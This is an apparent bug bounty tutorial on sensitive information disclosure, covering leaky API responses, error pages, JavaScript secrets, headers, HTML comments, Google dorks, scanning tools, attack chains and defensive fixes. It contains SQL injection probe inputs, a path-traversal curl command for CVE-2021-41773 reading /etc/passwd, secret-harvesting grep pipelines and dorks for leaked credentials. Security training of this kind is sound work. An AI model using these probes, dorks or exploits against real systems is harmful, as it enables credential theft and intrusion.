Sensitive Information Disclosure –  Bug Bounty Guide 2026

By Devashish

Updated on:

Sensitive Information Disclosure
🐛 Bug Bounty Series

Sensitive Information Disclosure —
Complete Bug Bounty Guide 2026

Sensitive Information Disclosure is the #1 enabler of all other attacks. Leaked API keys, credentials, stack traces, and source code all become stepping stones to Critical exploits. This guide covers every type with real working techniques.

🏆 OWASP A02 + A05 🔴 Low → Critical 🎯 Beginner–Intermediate 💰 Chain Enabler

🔍 What is Sensitive Information Disclosure?

Sensitive Information Disclosure occurs when an application unintentionally reveals confidential data to unauthorized users. It is a broad family of leaks covering API responses, error messages, JavaScript files, HTTP headers, HTML comments, log files, and misconfigured storage.

Sensitive Information Disclosure diagram showing multiple leak vectors including API responses, error messages, JavaScript files and HTTP headers

Sensitive Information Disclosure — API, JS, headers, error pages all leak data

💡 Core Concept

Sensitive Information Disclosure is the #1 enabler of other attacks. A leaked database password enables direct DB access. A leaked API key enables service abuse. A stack trace reveals the exact framework version, enabling targeted CVE exploits. Every disclosed piece is a stepping stone.

👶 Beginner Explanation

A website shows you an error: “Error in /var/www/html/config/db.php line 42 — password: admin123”. That message leaked a file path AND a database password. Or an API returns 50 fields when the UI only shows 5 — those hidden 45 fields often include password_hash, 2fa_secret, and api_key. That is Sensitive Information Disclosure.

🔴 Critical — DB password, API key, JWT secret, reset token
🟠 High — Stack trace, source code, log files
🔵 Medium — Internal IPs, usernames, business logic
⚪ Info — Server version header, framework name

📂 12 Types of Sensitive Information Disclosure

🔌 API Response Leaks
Password hash, 2FA secret, reset token returned in response body
CRITICAL
🔑 Hardcoded Credentials
DB passwords, admin creds embedded in JS files or source code
CRITICAL
🗝️ Exposed API Keys
AWS, Stripe, Twilio, Google keys in JS files or git commits
CRITICAL
💾 Database Backups
/backup.sql or /dump.sql accessible without authentication
CRITICAL
🌿 .env File Exposure
DB_PASSWORD, JWT_SECRET, API keys all in one public file
CRITICAL
💻 .git Repository
Full source code, commit history, and all historical secrets
CRITICAL
💥 Stack Trace / Debug
File paths, line numbers, SQL queries in error pages
HIGH
📋 Log File Access
/logs/app.log readable via browser — session tokens, ops log
HIGH
☁️ Cloud Bucket Misconfigured
S3, GCS, Azure blob containers publicly readable or listable
CRITICAL
💬 HTML Comments
Dev notes, passwords, endpoints in HTML page source comments
HIGH
📡 HTTP Headers
Server version, framework, internal IPs in response headers
MEDIUM
📸 Metadata Disclosure
EXIF data in images — GPS location, device, author details
MEDIUM

📊 Sensitive Information Disclosure — Quick Reference

FieldDetails
VulnerabilitySensitive Information Disclosure
Also Known AsInformation Leakage, Data Exposure, Excessive Data Exposure, API3:2023 BOPLA
OWASPA02: Cryptographic Failures | A05: Security Misconfiguration
CVE Score3.0 – 9.8 (depends on what is disclosed)
SeverityLow → Critical (leaked DB password or API key = Critical)
Root CauseDebug mode on in production; no output filtering; secrets in git; open cloud buckets
Where to CheckAPI responses, error pages, JS files, HTTP headers, HTML source, log files, git repos, cloud buckets
Best ToolsBurp Suite, nuclei, gitleaks, truffleHog, waybackurls, gau, katana, Google Dorks, Shodan
Practice LabsPortSwigger Web Academy, HackTheBox, TryHackMe, DVWA
DifficultyBeginner (finding) → Intermediate (chaining)
Key RuleNever report alone if you can chain it — leaked creds → show login, leaked key → show API call
Related VulnsForced Browsing, BOPLA, Vertical Privilege Escalation

🧠 Manual Testing — Sensitive Information Disclosure

📌 Testing Mindset

The UI shows you what the developer wants you to see. Burp shows you what the server actually sends. These are often very different. Every response, every header, every JS file is a potential disclosure.

Phase 1 — API Response Analysis

Highest Impact — Start Here
1
Compare Raw API Response vs UI in Burp
Enable Burp Proxy → browse app → HTTP History → click every GET response. Search for: password, hash, token, secret, key, internal, admin.
API Response — Hidden Fields Example
# UI shows: Name + Email only
# API actually returns ALL of this:
{
  "name": "Devashish",
  "email": "dev@test.com",
  "password_hash": "$2b$10$abc...xyz",      ← CRITICAL
  "password_reset_token": "abc123def456",  ← CRITICAL
  "2fa_secret": "JBSWY3DPEHPK3PXP",        ← CRITICAL
  "api_key": "sk-live-xxxxxxxxxxxxx",      ← CRITICAL
  "is_admin": false,                        ← HIGH
  "internal_notes": "VIP - waive all fees"  ← MEDIUM
}

Phase 2 — Trigger Error States

2
Intentionally Break Requests to Force Errors
Send malformed JSON, SQL characters, wrong data types, and oversized inputs. Each error state may reveal stack traces, file paths, SQL queries, or database credentials.
Error-Triggering Inputs
# Malformed JSON
POST /api/login  body: {invalid json}

# SQL characters
GET  /api/users?id='
GET  /search?q=test' OR 1=1--

# Type mismatch (expects integer, send string)
GET  /api/users/abc

# Empty required field
POST /api/login  body: {"email": "", "password": ""}

# Wrong Content-Type on JSON endpoint
Content-Type: text/plain
Bad Error vs Good Error Response
# BAD — information disclosure:
HTTP/1.1 500 Internal Server Error
{
  "error": "SyntaxError at /var/www/html/api/login.js:42",
  "query": "SELECT * FROM users WHERE email = \"test\"",
  "dbhost": "mysql://admin:password123@db.internal:3306"
}

# GOOD — generic error (properly configured):
HTTP/1.1 500 Internal Server Error
{"error": "An internal error occurred. Please try again."}

Phase 3 — JavaScript File Analysis

3
Search All JS Files for Embedded Secrets
In Burp HTTP History, filter by .js. Use Ctrl+F in DevTools Sources. Search for: apiKey, secret, password, token, AWS_, STRIPE_.
JS Secret Extraction
# Download and grep all JS files
wget -r -A.js https://target.com/static/ -P ./js/
grep -ri 'apikey\|secret\|password\|token\|aws' ./js/

# Automated with katana
katana -u https://target.com -jc \
  | grep -iE 'key|secret|token|password'

# What you find in real apps:
const config = {
  apiKey: "AIzaSyB-xxxxxxxxxxxxxxxxxxxxxx",
  stripeKey: "sk_live_xxxxxxxxxxxxxxx",
  dbPassword: "SuperSecret@123"
}

Phase 4 — HTTP Header Inspection

Information-Disclosing Headers
curl -I https://target.com

# Dangerous disclosing headers:
Server: Apache/2.4.49           ← CVE-2021-41773 → RCE!
X-Powered-By: PHP/7.2.34        ← PHP version → CVEs
X-Backend-Server: app-server-03 ← internal hostname
X-Debug-Info: user_id=1,role=admin ← debug leak!
X-Forwarded-For: 10.0.0.1       ← internal IP range

Phase 5 — HTML Comment Analysis

View Page Source — Hidden Comments
# Browser: Ctrl+U or view-source:https://target.com
# Search for: <!--

# Real examples found in production apps:
<!-- TODO: remove hardcoded admin password: Admin@123 -->
<!-- dev db: mysql://dev:pass@192.168.1.100/devdb -->
<!-- API endpoint: /api/internal/admin-only -->

# Automate:
curl -s https://target.com | grep -o '<!--[^-]*-->'

🔎 Google Dorks for Sensitive Information Disclosure

Google often indexes sensitive files before developers notice. These dorks find real leaked data in under 5 minutes. Replace target.com with your target domain.

Google DorkWhat It Finds
site:target.com filetype:sqlDatabase dump files indexed by Google
site:target.com filetype:env.env files with credentials exposed
site:target.com filetype:logLog files with sensitive operations
site:target.com “password” filetype:txtText files containing passwords
site:target.com inurl:configConfiguration files and admin pages
site:github.com “target.com” passwordLeaked credentials in GitHub repos
site:github.com “target.com” api_keyLeaked API keys committed to GitHub
site:github.com “target.com” DB_PASSWORDDatabase credentials in GitHub commits
site:pastebin.com “target.com”Data dumps and leaked configs on Pastebin
“target.com” “index of” “parent directory”Open directory listings exposing files

🤖 Best Tools for Finding Information Disclosure

🔬 Burp Suite
HTTP History + Search across all responses for sensitive keywords. Best for API leaks.
Target → Site Map → Search → "password"
⚡ nuclei
Automated detection of exposed files, tokens, and misconfigurations via community templates.
nuclei -u URL -t exposures/ -t misconfiguration/
🔐 gitleaks
Scans git repos for leaked secrets — finds things even after deletion from history.
gitleaks detect --source=./repo/ --verbose
🐷 truffleHog
High-entropy string detection across files and git history. Finds API keys by randomness.
trufflehog git https://github.com/target/repo
📜 waybackurls
Historical URLs from Wayback Machine — finds old debug pages still accessible.
waybackurls target.com | grep -E '.sql|.env'
🕷️ katana
Crawls JS-heavy SPAs and extracts all endpoints, parameters, and potential secret locations.
katana -u URL -jc -d 5

🔥 Burp Suite — Information Disclosure Guide

1
Search All Responses for Sensitive Keywords
Target → Site Map → right-click → Search. Run these one by one: password, secret, token, api_key, hash, debug, SQL, 192.168. Each hit = potential finding.
2
Force Error States in Repeater
Send every API request to Repeater. Delete headers, send malformed JSON, add SQL characters. Check each error response for stack traces, file paths, and SQL queries leaking internal info.
3
Check Every Response Header
In HTTP History, click each response → Headers tab. Look for Server:, X-Powered-By:, X-Backend-Server:. Any version info → run searchsploit immediately for CVEs.
4
Comparer — Admin vs User Responses
Send your API response and an admin API response to Comparer. Any extra fields in admin response also returned for regular users = information disclosure finding.

💣 Advanced Techniques

Version Disclosure → CVE → RCE

Version Disclosure Chain
# Step 1: Find version in header
Server: Apache/2.4.49

# Step 2: Look up CVE
searchsploit apache 2.4.49
# CVE-2021-41773 → Path Traversal + RCE

# Step 3: Exploit
curl --path-as-is \
  "https://target.com/cgi-bin/.%2e/.%2e/.%2e/etc/passwd"
# root:x:0:0:root:/root:/bin/bash  ← Server compromised

Find Secrets in Minified JavaScript

JS Secret Hunting
# Un-minify for readability
npm install -g js-beautify
js-beautify minified.js > readable.js

# Find high-entropy strings (likely API keys)
cat readable.js | grep -oE '[A-Za-z0-9+/]{40,}'

# truffleHog automated
trufflehog filesystem ./js/ --only-verified

Wayback Machine — Historical Leaks

Historical Disclosure
# Find historically exposed sensitive files
waybackurls target.com \
  | grep -E '\.(sql|env|log|bak|config|pem|key)'

# Check old JS files for embedded secrets
waybackurls target.com | grep '\.js$' | head -20 \
  | xargs -I{} sh -c \
    'echo "=== {} ==="; curl -s {} | grep -i apiKey'

🔗 Real Bug Chains — Sensitive Information Disclosure

🔑
API Leaks password_reset_token → Full Account Takeover
GET /api/users/1002 returns password_reset_token in body → Use token in POST /api/password/reset → Change victim password → Full account takeover of any user
CRITICAL 💰
☁️
JS File Contains AWS_SECRET_KEY → Cloud Compromise
Find AWS_SECRET_KEY in main.chunk.js → Configure AWS CLI → aws s3 ls → Download entire data lake and private files
CRITICAL 💰
💥
Stack Trace Reveals Framework Version → RCE
Error page shows Apache/2.4.49 → searchsploit finds CVE-2021-41773 → Path traversal + code execution → Full server compromise
CRITICAL 💰
💾
Error Leaks DB Connection String → Direct DB Access
Malformed input triggers 500 error → mysql://admin:pass@db.internal:3306/prod in response → Connect directly to database → Dump all data
CRITICAL 💰
🌿
.env Exposure → JWT Secret → Forge Admin Token
Read /.env via forced browsing → Extract JWT_SECRET → Use jwt_tool to forge token with role=admin → Persistent admin access
CRITICAL 💰
📜
GitHub Commit Has Hardcoded Creds → Infrastructure Access
Google dork finds GitHub commit with DB_PASSWORD → Connect to production database → Dump all user data + modify records
CRITICAL 💰

🛡️ Defense Against Sensitive Information Disclosure

✅ The Core Fixes

Disable debug mode in production. Filter all API responses with DTOs. Scan git before pushing. Harden all HTTP headers. Set proper cloud bucket policies.

Framework Security Fixes
# Django — disable debug mode
DEBUG = False   # production settings.py

# Express.js — remove version headers
app.set('x-powered-by', false)
app.use(helmet())

# Nginx — hide server version
server_tokens off;

# .gitignore — prevent committing secrets
.env
*.pem
*.key
*.sql
config/secrets.yml
📋 Developer Checklist

☑ Set DEBUG=False in all production environments
☑ Use DTOs — whitelist API response fields, never return full DB model
☑ Run gitleaks in CI/CD pipeline before every push
☑ Use secrets management (AWS Secrets Manager, HashiCorp Vault)
☑ Add security headers: X-Content-Type-Options, X-Frame-Options, CSP
☑ Set proper access control policies on all S3/GCS/Azure buckets
☑ Generic error messages in production — no stack traces, no file paths

🧠 Key Takeaways — Sensitive Information Disclosure

  • Sensitive Information Disclosure is the #1 enabler of all other attacks — treat every leak as a stepping stone
  • Always check raw API responses in Burp — the UI hides fields, the API returns everything
  • Trigger EVERY error state — malformed JSON, SQL chars, wrong types, oversized inputs
  • Read EVERY JavaScript file — search for apiKey, secret, password, token, AWS_
  • Check EVERY response header — Server: and X-Powered-By: reveal exact versions for CVE targeting
  • View-source on EVERY page — developers leave passwords and endpoints in HTML comments
  • Google dork the target before scanning — indexed leaks take 5 minutes to find and pay Criticals
  • GitHub search finds more secrets in 5 minutes than a 6-hour automated scan
  • Server version + searchsploit can become an RCE chain — always escalate disclosures
  • Never report information disclosure alone if you can chain it — show full impact for maximum bounty
💰 Severity Rule

Server version header = Low/Info. Leaked session token = Critical. DB password = Critical. API key = Critical. The same vulnerability class has wildly different severities. Always ask: what can I DO with this information? Demonstrate the chain — that is what maximises your bounty.

💬 Found this Sensitive Information Disclosure guide helpful? Share it!

Related Posts

Authentication Bypass – Bug Bounty Guide 2026

Vertical Privilege Escalation – Bug Bounty Guide 2026

Horizontal Privilege Escalation Bug Bounty Guide 2026

Forced Browsing Bug Bounty Guide 2026

Devashish

I’m Devashish, a Bug Bounty Researcher and Cyber Security Analyst sharing practical insights — from beginner payloads to advanced exploitation chains — explained in a simple, clear way. Beyond cybersecurity, I’m passionate about technology, gadgets, and topics like health, cricket, politics, and people.

Leave a comment